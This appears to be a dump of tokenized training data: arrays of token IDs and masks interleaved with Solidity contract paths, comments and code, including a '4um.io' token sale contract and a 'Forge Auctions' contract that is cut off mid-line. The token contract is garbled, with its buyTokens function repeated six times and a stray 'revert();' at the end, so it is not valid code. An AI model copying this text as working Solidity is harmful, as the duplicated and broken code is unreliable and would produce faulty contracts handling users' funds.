[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 59, 1584, 44, 29, 353, 467, 654, 39, 3462, 288, 203, 225, 445, 443, 1724, 1435, 3903, 8843, 429, 31, 203, 203, 225, 445, 598, 9446, 12, 11890, 5034, 13, 3903, 31, 203, 97, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x47b09149a8E138789421dB1EdE366cdAB3cc9Ebb/sources/direct_staking.sol
Always extend storage instead of modifying it
bytes private DEPOSIT_AMOUNT_LITTLE_ENDIAN;
9,143,255
[ 1, 18806, 2133, 2502, 3560, 434, 21920, 518, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1731, 3238, 2030, 28284, 67, 2192, 51, 5321, 67, 15716, 56, 900, 67, 30597, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x06e5bffEdA8383848Fd04D047c839ecec6329627/sources/contracts/Livestreambets.sol
Non-terminal state (manual).
return GameStatus.EntriesClosed;
9,709,520
[ 1, 3989, 17, 15979, 919, 261, 19840, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 327, 14121, 1482, 18, 5400, 7395, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/7700/0xf160D4a4f60A1C901Ec894943Fb6d06413ce7E61/sources/src/contracts/Minter.sol
initial cost in CANTO of minting 1 sCANTO
uint256 public initialExchangeRate = 1 ether;
4,659,511
[ 1, 6769, 6991, 316, 22709, 4296, 434, 312, 474, 310, 404, 272, 39, 1258, 4296, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 2172, 11688, 4727, 273, 404, 225, 2437, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0xbf225112beE7935C6238F80a245Af3dD82f77a6F/sources/Token.sol
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and a fixed supply ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
contract Token is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; uint256 sale; uint256 reserve; uint public phase; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "4um.io"; symbol = "4UM"; decimals = 18; phase = 1; _totalSupply = 20000000 * 10**uint(decimals); sale = 20000000 * 10**uint(decimals); reserve = 4000000 * 10**uint(decimals); balances[owner] = reserve; emit Transfer(address(0), owner, reserve); balances[address(this)] = sale; emit Transfer(address(0), address(this), sale); } function phasechange(uint256 number) onlyOwner public{ phase = number ; } function() external payable { buyTokens(address(0)); } function buyTokens(address payable reffer) public payable { uint256 tokens; uint256 refpercent; uint256 weiAmount = msg.value; if(phase == 1){ tokens = weiAmount * 2355; refpercent = 5; } else if(phase == 2){ tokens = weiAmount * 1175; refpercent = 5; } else if(phase ==3){ tokens = weiAmount * 588; refpercent = 5; } else{ revert("Sale Not Started!"); } require(balances[address(this)] >=tokens , "Tokens Not Available!"); balances[msg.sender] = balances[msg.sender] + tokens; balances[address(this)] = balances[address(this)] - tokens; emit Transfer(address(this), msg.sender , tokens); if(reffer != address(0) && reffer != msg.sender){ uint256 am = (msg.value*refpercent)/100; reffer.transfer(am); uint256 rt = (tokens*refpercent)/100; balances[reffer] = balances[reffer] + rt; balances[address(this)] = balances[address(this)] - rt; emit Transfer(address(this), msg.sender , rt); } forwardFunds(); } function buyTokens(address payable reffer) public payable { uint256 tokens; uint256 refpercent; uint256 weiAmount = msg.value; if(phase == 1){ tokens = weiAmount * 2355; refpercent = 5; } else if(phase == 2){ tokens = weiAmount * 1175; refpercent = 5; } else if(phase ==3){ tokens = weiAmount * 588; refpercent = 5; } else{ revert("Sale Not Started!"); } require(balances[address(this)] >=tokens , "Tokens Not Available!"); balances[msg.sender] = balances[msg.sender] + tokens; balances[address(this)] = balances[address(this)] - tokens; emit Transfer(address(this), msg.sender , tokens); if(reffer != address(0) && reffer != msg.sender){ uint256 am = (msg.value*refpercent)/100; reffer.transfer(am); uint256 rt = (tokens*refpercent)/100; balances[reffer] = balances[reffer] + rt; balances[address(this)] = balances[address(this)] - rt; emit Transfer(address(this), msg.sender , rt); } forwardFunds(); } function buyTokens(address payable reffer) public payable { uint256 tokens; uint256 refpercent; uint256 weiAmount = msg.value; if(phase == 1){ tokens = weiAmount * 2355; refpercent = 5; } else if(phase == 2){ tokens = weiAmount * 1175; refpercent = 5; } else if(phase ==3){ tokens = weiAmount * 588; refpercent = 5; } else{ revert("Sale Not Started!"); } require(balances[address(this)] >=tokens , "Tokens Not Available!"); balances[msg.sender] = balances[msg.sender] + tokens; balances[address(this)] = balances[address(this)] - tokens; emit Transfer(address(this), msg.sender , tokens); if(reffer != address(0) && reffer != msg.sender){ uint256 am = (msg.value*refpercent)/100; reffer.transfer(am); uint256 rt = (tokens*refpercent)/100; balances[reffer] = balances[reffer] + rt; balances[address(this)] = balances[address(this)] - rt; emit Transfer(address(this), msg.sender , rt); } forwardFunds(); } function buyTokens(address payable reffer) public payable { uint256 tokens; uint256 refpercent; uint256 weiAmount = msg.value; if(phase == 1){ tokens = weiAmount * 2355; refpercent = 5; } else if(phase == 2){ tokens = weiAmount * 1175; refpercent = 5; } else if(phase ==3){ tokens = weiAmount * 588; refpercent = 5; } else{ revert("Sale Not Started!"); } require(balances[address(this)] >=tokens , "Tokens Not Available!"); balances[msg.sender] = balances[msg.sender] + tokens; balances[address(this)] = balances[address(this)] - tokens; emit Transfer(address(this), msg.sender , tokens); if(reffer != address(0) && reffer != msg.sender){ uint256 am = (msg.value*refpercent)/100; reffer.transfer(am); uint256 rt = (tokens*refpercent)/100; balances[reffer] = balances[reffer] + rt; balances[address(this)] = balances[address(this)] - rt; emit Transfer(address(this), msg.sender , rt); } forwardFunds(); } function buyTokens(address payable reffer) public payable { uint256 tokens; uint256 refpercent; uint256 weiAmount = msg.value; if(phase == 1){ tokens = weiAmount * 2355; refpercent = 5; } else if(phase == 2){ tokens = weiAmount * 1175; refpercent = 5; } else if(phase ==3){ tokens = weiAmount * 588; refpercent = 5; } else{ revert("Sale Not Started!"); } require(balances[address(this)] >=tokens , "Tokens Not Available!"); balances[msg.sender] = balances[msg.sender] + tokens; balances[address(this)] = balances[address(this)] - tokens; emit Transfer(address(this), msg.sender , tokens); if(reffer != address(0) && reffer != msg.sender){ uint256 am = (msg.value*refpercent)/100; reffer.transfer(am); uint256 rt = (tokens*refpercent)/100; balances[reffer] = balances[reffer] + rt; balances[address(this)] = balances[address(this)] - rt; emit Transfer(address(this), msg.sender , rt); } forwardFunds(); } function buyTokens(address payable reffer) public payable { uint256 tokens; uint256 refpercent; uint256 weiAmount = msg.value; if(phase == 1){ tokens = weiAmount * 2355; refpercent = 5; } else if(phase == 2){ tokens = weiAmount * 1175; refpercent = 5; } else if(phase ==3){ tokens = weiAmount * 588; refpercent = 5; } else{ revert("Sale Not Started!"); } require(balances[address(this)] >=tokens , "Tokens Not Available!"); balances[msg.sender] = balances[msg.sender] + tokens; balances[address(this)] = balances[address(this)] - tokens; emit Transfer(address(this), msg.sender , tokens); if(reffer != address(0) && reffer != msg.sender){ uint256 am = (msg.value*refpercent)/100; reffer.transfer(am); uint256 rt = (tokens*refpercent)/100; balances[reffer] = balances[reffer] + rt; balances[address(this)] = balances[address(this)] - rt; emit Transfer(address(this), msg.sender , rt); } forwardFunds(); } function forwardFunds() internal { owner.transfer(address(this).balance); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } revert(); }
5,218,481
[ 1, 5802, 7620, 4232, 39, 3462, 3155, 16, 598, 326, 2719, 434, 3273, 16, 508, 471, 15105, 471, 279, 5499, 14467, 8879, 13849, 8879, 17082, 11417, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3155, 353, 4232, 39, 3462, 1358, 16, 14223, 11748, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 203, 565, 533, 1071, 3273, 31, 203, 565, 533, 1071, 225, 508, 31, 203, 565, 2254, 28, 1071, 15105, 31, 203, 565, 2254, 5034, 389, 4963, 3088, 1283, 31, 203, 565, 2254, 5034, 272, 5349, 31, 203, 565, 2254, 5034, 20501, 31, 203, 565, 2254, 1071, 6855, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 13, 1071, 324, 26488, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2935, 31, 203, 377, 203, 203, 203, 565, 3885, 1435, 1071, 288, 203, 3639, 508, 273, 315, 24, 379, 18, 1594, 14432, 203, 3639, 3273, 273, 315, 24, 2799, 14432, 203, 3639, 15105, 273, 6549, 31, 203, 3639, 6855, 273, 404, 31, 203, 540, 203, 3639, 389, 4963, 3088, 1283, 273, 576, 17877, 380, 1728, 636, 11890, 12, 31734, 1769, 203, 3639, 272, 5349, 273, 576, 17877, 380, 1728, 636, 11890, 12, 31734, 1769, 203, 3639, 20501, 273, 1059, 9449, 380, 1728, 636, 11890, 12, 31734, 1769, 203, 3639, 324, 26488, 63, 8443, 65, 273, 20501, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 3410, 16, 20501, 1769, 203, 540, 203, 3639, 324, 26488, 63, 2867, 12, 2211, 25887, 273, 272, 5349, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 1758, 12, 2211, 3631, 272, 5349, 1769, 203, 21281, 377, 203, 565, 289, 203, 377, 203, 565, 445, 6855, 3427, 12, 11890, 5034, 1300, 13, 1338, 5541, 2 ]
/** *Submitted for verification at polygonscan.com on 2022-02-12 */ // Forge Auctions Contract // Auctions Forge tokens every 3 days and users are able to withdraw anytime after! // // The 0xBitcoin tokens collected by Forge Auctions go to miners and liquidity providers! // // 10,500,000 Forge tokens are Auctioned off over 100 years in this contract! In the first era ~5,000,000 are auctioned and half every era after! // // Distributes 8,192 Forge tokens every 4-12 days for the first era(~5 years) and halves the amount of Forge every era after // // By using the burn0xBTCForMember function // 0xBitcoin Token is taken from the user and used to recieve your share of the 8,192 tokens auctioned every ~4 days pragma solidity ^0.8.11; contract Ownabled { address public owner22; event TransferOwnership(address _from, address _to); constructor() public { owner22 = msg.sender; emit TransferOwnership(address(0), msg.sender); } modifier onlyOwner22() { require(msg.sender == owner22, "only owner"); _; } function setOwner(address _owner22) internal onlyOwner22 { emit TransferOwnership(owner22, _owner22); owner22 = _owner22; } } library SafeMath { function add(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x + y; require(z >= x, "Add overflow"); return z; } function sub(uint256 x, uint256 y) internal pure returns (uint256) { require(x >= y, "Sub underflow"); return x - y; } function mult(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) { return 0; } uint256 z = x * y; require(z / x == y, "Mult overflow"); return z; } function div(uint256 x, uint256 y) internal pure returns (uint256) { require(y != 0, "Div by zero"); return x / y; } function divRound(uint256 x, uint256 y) internal pure returns (uint256) { require(y != 0, "Div by zero"); uint256 r = x / y; if (x % y != 0) { r = r + 1; } return r; } } library ExtendedMath { //return the smaller of the two inputs (a or b) function limitLessThan(uint a, uint b) internal pure returns (uint c) { if(a > b) return b; return a; } } interface IERC20 { /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract GasPump { bytes32 private stub; modifier requestGas(uint256 _factor) { if (tx.gasprice == 0 || gasleft() > block.gaslimit) { uint256 startgas = gasleft(); _; uint256 delta = startgas - gasleft(); uint256 target = (delta * _factor) / 100; startgas = gasleft(); while (startgas - gasleft() < target) { // Burn gas stub = keccak256(abi.encodePacked(stub)); } } else { _; } } } contract ForgeMining{ function getMiningMinted() public view returns (uint256) {} } contract ForgeAuctions is GasPump, Ownabled { using SafeMath for uint; using ExtendedMath for uint; address public AddressZeroXBTC; address public AddressForgeToken; // ERC-20 Parameters uint256 public extraGas; bool runonce = false; uint256 oneEthUnit = 1000000000000000000; uint256 one0xBTCUnit = 100000000; string public name; uint public decimals; // ERC-20 Mappings mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; // Public Parameters uint coin; uint public emission; uint public totalAuctioned = 0; uint public currentEra; uint public currentDay; uint public daysPerEra; uint public secondsPerDay; uint public nextDayTime; uint public totalBurnt; uint public totalEmitted; // Public Mappings mapping(uint=>uint) public mapEra_Emission; // Era->Emission mapping(uint=>mapping(uint=>uint)) public mapEraDay_MemberCount; // Era,Days->MemberCount mapping(uint=>mapping(uint=>address[])) public mapEraDay_Members; // Era,Days->Members mapping(uint=>mapping(uint=>uint)) public mapEraDay_Units; // Era,Days->Units mapping(uint=>mapping(uint=>uint)) public mapEraDay_UnitsRemaining; // Era,Days->TotalUnits mapping(uint=>mapping(uint=>uint)) public mapEraDay_EmissionRemaining; // Era,Days->Emission mapping(uint=>mapping(uint=>mapping(address=>uint))) public mapEraDay_MemberUnits; // Era,Days,Member->Units mapping(address=>mapping(uint=>uint[])) public mapMemberEra_Days; // Member,Era->Days[] mapping(address=>uint) public ZmapMember_EraClaimedTo; // Era,Days,Member->Units mapping(address=>uint) public ZmapMember_DayClaimedTo; ForgeMining ForgeMiningToken; // Events event SetExtraGas(uint256 _prev, uint256 _new); event NewEra(uint era, uint emission, uint totalBurnt); event NewDay(uint era, uint day, uint time, uint previousDayTotal, uint previousDayMembers); event Burn(address indexed payer, address indexed member, uint era, uint day, uint units, uint dailyTotal); event BurnMultipleDays(address indexed payer, address indexed member, uint era, uint NumberOfDays, uint totalUnits); event Withdrawal(address indexed caller, address indexed member, uint era, uint day, uint value, uint vetherRemaining); event MegaWithdrawal(address indexed caller, address indexed member, uint era, uint TotalDays, uint256 stricttotal); uint256 public lastMinted = 0; bool onlyOnce = false; //=====================================CREATION=========================================// // Constructor constructor () public { name = "Auction Contract"; decimals = 18; coin = 10**decimals; emission = 2048*coin; currentEra = 1; currentDay = 1; daysPerEra = 600; secondsPerDay = 24*60*60*3; totalBurnt = 0; totalEmitted = 0; nextDayTime = block.timestamp + secondsPerDay; mapEra_Emission[currentEra] = emission; mapEraDay_EmissionRemaining[currentEra][currentDay] = emission; } function zSetUP1(address token, address _ZeroXBTCAddress) public onlyOwner22 { AddressForgeToken = token; owner22 = address(0); lastMinted = 0; AddressZeroXBTC = _ZeroXBTCAddress; ForgeMiningToken = ForgeMining(token); lastMinted = ForgeMiningToken.getMiningMinted(); } function changeAuctionAmt() internal { uint tokensMinted = ForgeMiningToken.getMiningMinted(); uint diff = tokensMinted - lastMinted; uint expected = 